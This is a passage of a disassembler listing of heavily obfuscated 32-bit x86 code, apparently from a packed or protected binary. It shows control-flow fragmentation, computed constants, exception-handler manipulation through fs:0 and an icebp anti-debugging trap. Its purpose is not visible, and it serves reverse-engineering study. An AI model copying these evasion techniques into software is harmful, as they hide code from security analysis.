		pop	eax
		jmp	loc_43DC91
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_43C250:				; CODE XREF: sub_43BE3C+9j
		pop	eax
		and	eax, 4E7E9E0h
		rol	eax, 14h
		add	eax, 7C422920h


loc_43C260:				; CODE XREF: sub_439ED1:loc_43EA16j
		jns	loc_43D351
		js	loc_43E682
		mov	edx, [eax]
		jmp	loc_43D65F
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
		align 4
		dd 241C8700h, 0BBF7815Bh, 3494914h, 2BD5E9CFh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C287:				; CODE XREF: sub_439ED1+5E9j
		xchg	ecx, [esp+4+var_4]
		xchg	ebp, [esp+4+var_4]
		mov	ecx, ebp
		pop	ebp
		add	eax, ebp
		add	eax, 398D7FDBh
		jmp	loc_43E599
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_43C29F	db 81h			; DATA XREF: sub_43C65A:loc_43C97Fo
		dd 0BC3D50C7h, 2296E894h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C2AB:				; CODE XREF: sub_439ED1:loc_43AA55j
		xor	eax, eax
		push	edx
		push	1148985Eh
		pop	edx
		rol	edx, 12h
		xor	edx, 0B9BBBF11h
		add	edx, 273C05D1h
		add	ecx, edx
		jmp	loc_43F813
; END OF FUNCTION CHUNK	FOR sub_439ED1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4
		dd 243C8700h, 2414875Fh, 173FE9h
		db 2 dup(0)
word_43C2DA	dw 5E9h			; DATA XREF: sub_439ED1+60Do
; ---------------------------------------------------------------------------
		push	ebx
		mov	bl, 43h
		add	[eax+65h], ch
		pushf
		inc	ebx
		add	cl, ch
		retf
; ---------------------------------------------------------------------------
		db 24h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43C2EA	proc near		; CODE XREF: _802izwe5:00437336p
					; _802izwe5:0043F5AAj

arg_4		= dword	ptr  8

		xchg	edx, [esp+0]
		pop	edx
		popf
		xchg	esi, [esp-8+arg_4]
		retn
sub_43C2EA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 7F366800h, 0EFE90043h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43C2FF:				; CODE XREF: _802izwe5:loc_43AF8Dj
		pushf
		push	2DE1779Ch
		pop	ecx
		add	ecx, 4A95C478h
		jnb	loc_43D739
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438378


loc_43C314:				; CODE XREF: sub_438378+70D2j
		jmp	loc_43A050
; END OF FUNCTION CHUNK	FOR sub_438378
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C31B:				; CODE XREF: _802izwe5:00439E8Ej
		jmp	near ptr dword_437548+84h
; ---------------------------------------------------------------------------
		xchg	ebp, edx
		mov	ebx, [esi]
		or	eax, 83D365D7h
		jmp	loc_43BD88
; ---------------------------------------------------------------------------
		align 10h
		dd 5A241487h, 93CEC181h, 0CAE8D716h, 14h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C340:				; CODE XREF: sub_439ED1+5592j
		jmp	loc_43EBC0
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFD4EBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C34C:				; CODE XREF: sub_439ED1-22B3j
		jmp	loc_438400
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		jmp	loc_43F5B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C358:				; CODE XREF: sub_439ED1+4B9Bj
		mov	byte ptr [eax],	52h
		xchg	esi, [esp-0Ch+arg_8]
		mov	eax, esi
		pop	esi
		and	edx, 0E7D6BBCCh
		rol	edx, 1Dh
		add	edx, 3347239Ch
		push	ecx
		jmp	loc_43B74D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C378:				; CODE XREF: sub_439ED1:loc_43A106j
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_438519
		xor	eax, eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		mov	esi, 0DB321A6Ch
		jmp	loc_43C959
; ---------------------------------------------------------------------------
		dw 8700h
		dd 815B241Ch, 9128D1C3h, 241C8700h, 0FFB4B0E8h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECCE


loc_43C3A9:				; CODE XREF: sub_43ECCE+6j
		jmp	loc_43A7A3
; END OF FUNCTION CHUNK	FOR sub_43ECCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C3AE:				; CODE XREF: sub_439ED1:loc_43B52Cj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	near ptr dword_437A98+20h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------

locret_43C3C5:				; CODE XREF: _802izwe5:0043BA4Aj
		retn
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 1E99h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C3CC:				; CODE XREF: sub_439ED1+224j
		db	2Eh
		icebp
		jmp	near ptr dword_437428+8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_43C3D5	db 0Fh,	83h, 9Ah	; DATA XREF: sub_439ED1+D29o
		dd 0FFFFFDFh, 246A85h, 0C58B5000h, 0FFB9B3E9h, 0E9F133FFh
		dd 2DADh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43C3F1	proc near		; CODE XREF: _802izwe5:0043B286j
					; _802izwe5:0043CDE4p
		xchg	esi, [esp+0]
		pop	esi
		popf
		push	offset loc_43B2AB
		jmp	near ptr dword_437340+65h
sub_43C3F1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43C401:				; CODE XREF: _802izwe5:0043B65Aj
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		push	8AAEA09h
		pop	edx
		sub	edx, 3CC282ACh
		add	edx, 345B54AFh
		jmp	loc_43CF35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C41E:				; CODE XREF: sub_439ED1+12Fj
		mov	ecx, esp
		push	esi
		push	0DF8DE730h
		pop	esi
		sub	esi, 176FADE3h
		xor	esi, 0C81E395Dh
		add	ecx, esi
		pop	esi
		jmp	near ptr dword_438230+26h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C43D:				; CODE XREF: sub_439ED1-EE1j
		mov	dword ptr [ecx], offset	loc_43D3AA
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43C447:				; CODE XREF: sub_439ED1+713j
		jmp	loc_43F9D1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43C44D:				; CODE XREF: sub_43C65A-4067j
		jmp	loc_43D259
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4
		push	dword ptr fs:0
		mov	fs:0, esp
		pushf
		jmp	loc_43EC96
; ---------------------------------------------------------------------------
		align 4
		popf
		add	ecx, edi
		pop	edi
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43DF04
; ---------------------------------------------------------------------------
		align 4

locret_43C47C:				; CODE XREF: _802izwe5:0043954Bj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C47F:				; CODE XREF: sub_439ED1+5545j
		jmp	near ptr dword_4383C4+1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C486:				; CODE XREF: sub_439ED1+914j
		jmp	near ptr dword_4392C0+20h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_43C48D:				; CODE XREF: _802izwe5:00439605j
		jmp	loc_43F21D
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_438CBC


loc_43C494:				; CODE XREF: sub_438CBC+Cj
		jmp	loc_43F4C6
; END OF FUNCTION CHUNK	FOR sub_438CBC
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C49B:				; CODE XREF: _802izwe5:00437294j
		jz	near ptr dword_43718C+0A8h
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 2481h, 8B15C6C1h, 0AD82E91Ah
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43C4B3:				; CODE XREF: _802izwe5:004380E3j
		call	sub_43DE71
; START	OF FUNCTION CHUNK FOR sub_43D40D


loc_43C4B8:				; CODE XREF: sub_43D40D+1E4j
		jmp	loc_43A8D9
; END OF FUNCTION CHUNK	FOR sub_43D40D
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C4BE:				; CODE XREF: sub_439ED1:loc_43A636j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43C4C0:				; CODE XREF: _802izwe5:0043869Ej
		jmp	loc_43DF87
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43C4C7	proc near		; CODE XREF: sub_43DA03:loc_43C016p
		push	dword ptr fs:0
		mov	fs:0, esp
		call	loc_43E15A


loc_43C4D8:				; CODE XREF: sub_43DE71+Fj
		jmp	loc_43AC2C
sub_43C4C7	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C4DF:				; CODE XREF: sub_439ED1+9E3j
		jmp	loc_437C94
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB2C


loc_43C4E5:				; CODE XREF: sub_43DB2C-3FBAj
		jmp	loc_43813B
; END OF FUNCTION CHUNK	FOR sub_43DB2C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C4EC:				; CODE XREF: sub_439ED1:loc_43EF47j
		jge	loc_43CFE8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C4F4:				; CODE XREF: sub_439ED1+1D6j
		jmp	loc_43DB5D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		cmp	edi, edx
		jmp	loc_43CFDD
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAE5


loc_43C503:				; CODE XREF: sub_43CAE5-4B5Cj
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_43CAE5
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438FC9


loc_43C507:				; CODE XREF: sub_438FC9+Dj
		jmp	loc_43ABAE
; END OF FUNCTION CHUNK	FOR sub_438FC9

; =============== S U B	R O U T	I N E =======================================



sub_43C50C	proc near		; CODE XREF: sub_439ED1+312Bp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00437D94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BEA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ED6C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043EF9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F106 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043F8F5 SIZE 0000000B BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		pushf
		jmp	loc_437D94
sub_43C50C	endp

; ---------------------------------------------------------------------------
		dw 45E8h
		dd 0E9FFFFC0h, 0FFFFDAD7h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C52A:				; CODE XREF: sub_439ED1:loc_43B8E5j
		and	esi, 0D94E7AAFh
		sub	esi, 0FAF1A4BAh
		xor	esi, 9D1475D4h
		add	ecx, esi
		pop	esi
		mov	[ecx], eax
		jmp	loc_43E0FA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43C547:				; CODE XREF: _802izwe5:loc_43CBAEj
		jnz	near ptr dword_437548+9Fh
		add	cl, ch
		outsb
		adc	[eax], al
; ---------------------------------------------------------------------------
		dw 0
		dd 0B400C081h, 0CB3335B0h, 0FFB086E9h, 0C300FFh
		db 0
; ---------------------------------------------------------------------------


loc_43C565:				; CODE XREF: _802izwe5:0043F83Dj
		jmp	loc_43D767
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43C56C:				; CODE XREF: sub_43C65A-172Aj
		jmp	loc_43A1BF
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C571:				; CODE XREF: sub_439ED1-1A23j
		jmp	loc_43EFA8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 2300h
		dd 30CFE9CDh, 8B000000h, 0FE803CDh, 0A8988h ; CODE XREF: _802izwe5:0043F628j
		db 0
byte_43C589	db 67h,	64h, 8Fh	; DATA XREF: _802izwe5:00439983o
		dd 87000006h, 81582404h, 0DF78FCC3h, 241C87EBh,	0FFE421E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43C5A2:				; CODE XREF: _802izwe5:0043AF61j
		mov	esi, edi
		pop	edi
		sub	esi, 0D77CE26Ch
		or	esi, 184B8D56h
		add	esi, 0B82F7BB8h
		sub	esi, 15DC15A2h
		jmp	loc_43CAD9
; ---------------------------------------------------------------------------
		dw 5100h
; ---------------------------------------------------------------------------
		jmp	loc_43A928
; ---------------------------------------------------------------------------


loc_43C5C9:				; CODE XREF: _802izwe5:0043B9FCj
		pop	esi
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	near ptr dword_43B1A0+43h
		jmp	near ptr dword_43A328+8
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_4393E2


loc_43C5DA:				; CODE XREF: sub_4393E2+14j
		call	sub_437E10
		jmp	near ptr dword_4389A0+2
; END OF FUNCTION CHUNK	FOR sub_4393E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43C5E4:				; CODE XREF: sub_43F18B-C07j
		jnz	loc_43CB55
		and	eax, 72795796h
		rol	ebp, 8
		cmp	edx, 0F4BCE076h
		jmp	loc_43DC16
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		jo	loc_43EA2F

; =============== S U B	R O U T	I N E =======================================



sub_43C604	proc near		; CODE XREF: sub_439ED1+1D3Ep

; FUNCTION CHUNK AT 0043B58F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E6EF SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		xchg	esi, [esp+0]
		mov	ebx, esi
		pop	esi
		push	0
		jmp	loc_43E6EF
sub_43C604	endp

; ---------------------------------------------------------------------------
		dd 8902C600h, 8B243C87h, 0E3815FD7h, 778B7115h,	0C3F7h
		dd 0BBE90002h, 0FFFFC3h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C631:				; CODE XREF: sub_439ED1+736j
		jo	loc_438541
		push	4FBE1367h
		sub	edx, 1CB470CAh


loc_43C642:				; DATA XREF: sub_439ED1+1399o
		pop	dword ptr fs:0
		xchg	eax, [esp-20h+arg_18]
		pop	eax
		add	eax, 0A8A8E825h


loc_43C652:				; CODE XREF: sub_439ED1+A7Dj
		jmp	loc_438352
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		adc	ecx, esi

; =============== S U B	R O U T	I N E =======================================



sub_43C65A	proc far		; CODE XREF: sub_43DB2C-5AE3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043733B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004376B3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004377EB SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00437C64 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00437CA7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00437F98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004380EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004385E9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004386FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438CAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438DAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438E63 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00438E98 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004390E7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043964A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043975C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439810 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043993F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439DAF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00439E9C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043AF02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AF20 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043B0F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B16F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B69B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043B6C5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043B6E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BB32 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043BBA9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043BD82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BE5C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043BFA6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043C44D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C56C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CA48 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043CAB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CB6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CC2B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0043CF98 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043D1F0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043D259 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043D398 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043D5BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D704 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043D7C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DEC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E1F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E216 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E367 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043E59F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043E642 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043E6A6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043E8A7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043E97C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EABC SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0043EBEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EC14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EC9C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F0D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F717 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F7E0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043F80E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F863 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F91A SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xor	edi, 0B6A6FB7Bh
		add	edi, ebp
		jmp	loc_43C97F
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		align 2
		jmp	nullsub_55
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C421E903h, 0FFFFh, 0D568CC8Bh, 0E90043DAh, 2009h, 0EB810000h
		dd 37DD6A18h, 0F18F681h, 0D3812A53h, 9C7435FDh,	0FFE25EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43C6A1:				; CODE XREF: sub_439ED1-171p
					; sub_43C65A+286j
		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		mov	ebx, eax
		jmp	loc_43993F
; ---------------------------------------------------------------------------
		align 2
		dw 0C981h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 81h,	5, 0D7h
		dd 0AB94880Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43C6BA:				; CODE XREF: sub_439ED1+4933j
		jmp	loc_43D704
; ---------------------------------------------------------------------------
		align 10h


loc_43C6C0:				; CODE XREF: _802izwe5:0043D785j
		jmp	nullsub_54
; ---------------------------------------------------------------------------
		add	eax, edx
		popf
		jmp	loc_43C83C
; ---------------------------------------------------------------------------
		align 2


loc_43C6CE:				; CODE XREF: sub_439ED1+1F5j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		push	offset loc_43C929
		jmp	near ptr dword_438230+1Fh
; ---------------------------------------------------------------------------
		align 4


loc_43C6EC:				; CODE XREF: _802izwe5:004386F0j
		rol	eax, 4
		add	eax, 8885D293h
		xchg	eax, [esp+0]
		jmp	loc_43B0F2
; ---------------------------------------------------------------------------
byte_43C6FD	db 65h,	0CCh, 0E9h	; CODE XREF: sub_439ED1:loc_4373F3j
		dd 0B17h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C706:				; CODE XREF: sub_439ED1+4DF5j
		mov	[ecx], eax
		push	offset dword_43CF24
		jmp	near ptr dword_43718C+4Ch
; ---------------------------------------------------------------------------


loc_43C712:				; CODE XREF: _802izwe5:0043F97Cj
		push	offset loc_43F277
		jmp	near ptr dword_4394D4+14h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43C71D:				; CODE XREF: sub_43C65A:loc_43733Bj
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43E216
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43C733:				; CODE XREF: sub_439ED1+4B70j
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+4+var_4]
		jmp	loc_43975C
; ---------------------------------------------------------------------------
		align 10h

locret_43C740:				; CODE XREF: _802izwe5:0043F339j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C743:				; CODE XREF: _802izwe5:0043B8C6j
		push	offset dword_439368
		jmp	near ptr dword_437548+5Fh
; ---------------------------------------------------------------------------


loc_43C74D:				; CODE XREF: sub_43D93F+3j
		xchg	ecx, [esp+8+var_8]
		mov	ebp, esp
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		push	ecx
		pop	eax
		jmp	loc_43B6E1
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_43C761:				; CODE XREF: sub_43EDF7+8j
		push	ecx
		jmp	loc_43F80E
; ---------------------------------------------------------------------------
		align 4


loc_43C768:				; CODE XREF: sub_439ED1-19ECj
		rol	ebx, 19h
		and	ebx, 5C37EA8Fh
		add	ebx, 0A3FF00F2h
		or	eax, ebx
		pop	ebx
		jmp	loc_439810
; ---------------------------------------------------------------------------

locret_43C77F:				; CODE XREF: sub_4383D9+8j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43C781:				; CODE XREF: sub_439ED1:loc_43CA83j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 0A0h
		jmp	loc_43AF02
; ---------------------------------------------------------------------------


loc_43C79E:				; CODE XREF: _802izwe5:0043F4EAj
		and	eax, 7D25DBA6h
		rol	eax, 8
		sub	eax, 113351C8h
		add	eax, 10763024h
		jmp	loc_43E6A6
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43C7B9:				; CODE XREF: _802izwe5:loc_43DE6Cj
		push	ecx
		jmp	loc_43DEC2
; ---------------------------------------------------------------------------
		align 10h


loc_43C7C0:				; CODE XREF: _802izwe5:00437DE9j
		rol	ebx, 1Dh
		sub	ebx, 0B0DADC68h
		and	ebx, 0E6126401h
		xor	ebx, 42002010h
		jmp	loc_43F0D9
; ---------------------------------------------------------------------------
		add	ecx, 4
		mov	[ecx], eax
		push	esi
		push	7EFADA33h
		pop	esi
		or	esi, 22C2E459h
		add	esi, 0B0DE117Dh
		jmp	loc_43D5BC
; ---------------------------------------------------------------------------
		dw 850Fh
		dd 0FFFFFD5Ah, 1955E9h,	51000000h, 0DA1E9h, 0C0330000h
		dd 0C359h
; ---------------------------------------------------------------------------


loc_43C814:				; CODE XREF: sub_439ED1+38A9j
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_437428+0D3h
; ---------------------------------------------------------------------------
		db 8Bh,	0DAh, 5Ah
		dd 17A4E8h, 0E9000000h,	2B5Fh, 0F2C2E900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43C83C:				; CODE XREF: sub_43C65A+6Ej
		jnp	locret_43D2B5
		jmp	near ptr dword_43718C+0C1h
; ---------------------------------------------------------------------------
		align 4


loc_43C848:				; CODE XREF: _802izwe5:0043EC8Ap
		call	sub_43F088


loc_43C84D:				; CODE XREF: sub_439ED1+36C8j
		jmp	loc_43AF20
; ---------------------------------------------------------------------------
		align 4
		dd 0FFAF71E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_43C859:				; CODE XREF: _802izwe5:loc_43DF46j
		retn
; ---------------------------------------------------------------------------


loc_43C85A:				; CODE XREF: sub_438A6Ep
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43D7C3
; ---------------------------------------------------------------------------
		align 4
		dd 7D8B0F00h, 85FFFFC5h, 0E026E9FEh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43C87B:				; CODE XREF: sub_439ED1:loc_43B8AFj
		mov	byte ptr [ecx],	1
		pop	ecx
		lodsb


loc_43C880:				; DATA XREF: sub_439ED1+819o
		push	ebp
		retn	0C2C1h
; ---------------------------------------------------------------------------
		add	esi, [ecx]
		retn	0E8E9h
; ---------------------------------------------------------------------------
		align 4
		dd 0D3E91F89h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43C893:				; CODE XREF: _802izwe5:00438219j
		call	sub_43D31A
		jmp	loc_43BB32
; ---------------------------------------------------------------------------
		align 2


loc_43C89E:				; CODE XREF: sub_43C65A-A99j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		push	edx
		push	51493105h
		pop	edx
		and	edx, 0C21E8670h
		jmp	loc_43F863
; ---------------------------------------------------------------------------


loc_43C8BA:				; CODE XREF: sub_43C65A:loc_43B16Fj
		mov	edi, [edi]
		and	[esp-0Ch+arg_4], edi
		call	ds:dword_4270C0	; ExitProcess
